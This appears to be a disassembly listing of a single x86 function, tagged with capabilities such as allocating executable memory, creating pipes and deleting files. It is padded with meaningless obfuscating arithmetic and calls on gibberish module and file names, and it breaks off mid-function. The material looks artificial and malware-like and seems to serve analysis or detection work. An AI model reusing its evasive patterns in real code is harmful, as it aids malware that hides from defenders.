Function at 0x770fc0
Capabilities:
Allocate or change rwx memory
Create pipe
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
jb 0x770ff4
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jne 0x770ff4
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0
and edx, dword [ebp - 8]
mov byte [ebp - 4], dl
movzx eax, word [ebp - 4]
mov ecx, dword [ebp - 8]
sub ecx, eax
mov byte [ebp - 0xc], cl
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
push 0x40
push 0x1000
push 0x15f7b5
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
and eax, 0x2128
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x10]
xor ecx, 0x12d
mov dword [ebp - 8], ecx
push str.oyyowo
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x14], eax
movzx edx, word [ebp - 4]
cmp dword [ebp - 0x14], edx
jb 0x77108d
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0xc]
jae 0x77108d
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
or eax, 0x2312
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0xa2000
mov dword [ebp - 0x34], ecx
movzx edx, byte [ebp - 8]
or edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, 0x2029
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push str.hsctbrrhse
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xbb7
jmp 0x7710ce
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0xbba
jae 0x7710ef
mov edx, dword [ebp - 0x14]
and edx, 0x143f
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 0x10]
and eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x7710c5
mov dword [ebp - 0x4c], section..data
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
cmp dword [ebp - 8], 0x1f07
jne 0x771111
cmp dword [ebp - 4], 0
jb 0x771124
movzx edx, word [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
and eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xcd9
mov ecx, dword [ebp - 0x10]
or ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
movzx edx, byte [ebp - 0x14]
and edx, dword [ebp - 0x14]
or edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
xor ecx, ecx
sub ecx, dword [ebp - 4]
mov byte [ebp - 0x14], cl
push str.hnieidymroo
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x10]
or edx, 0x92e
mov dword [ebp - 4], edx
cmp dword [ebp - 8], 0xd19
jb 0x771134
push str.adshham
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
movzx eax, word [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 4]
ja 0x7711bc
movzx edx, byte [ebp - 0x10]
movzx eax, byte [ebp - 0x14]
sub edx, eax
mov word [ebp - 4], dx
push str.efge
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x2c
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], 0xed
ja case.0x7711de.1
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax + 0x771778]
jmp dword [ecx*4 + 0x771764]
mov edx, dword [ebp - 8]
or edx, 0x1170
mov word [ebp - 0x10], dx
jmp 0x771223
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
jmp 0x771223
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
jmp 0x771223
mov edx, 0x1fcb
sub edx, dword [ebp - 8]
and edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
jmp 0x771223
mov eax, dword [ebp - 0x14]
and eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
movzx ecx, word [ebp - 4]
xor edx, edx
sub edx, dword [ebp - 0x10]
and ecx, edx
mov dword [ebp - 8], ecx
push 0
push 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x44], 0xbe9b8ae4
push str.eeithsrhf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x18]
jne 0x77126b
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
ja 0x771271
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x20], 0x6ae2a3a6
movzx edx, byte [ebp - 0x18]
sub edx, dword [ebp - 4]
add edx, 0x164b
mov dword [ebp - 8], edx
push str.iswisi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], 0x5ec4a5ad
push str.stkaereidatawe
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
or eax, dword [ebp - 4]
mov byte [ebp - 0x10], al
mov dword [ebp - 0x24], 0x99216816
movzx ecx, word [ebp - 8]
mov dword [ebp - 4], ecx
push 0
push 0
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0xa2eaa943
movzx ecx, byte [ebp - 8]
movzx edx, word [ebp - 8]
and ecx, edx
mov word [ebp - 0xc], cx
movzx eax, byte [ebp - 4]
cld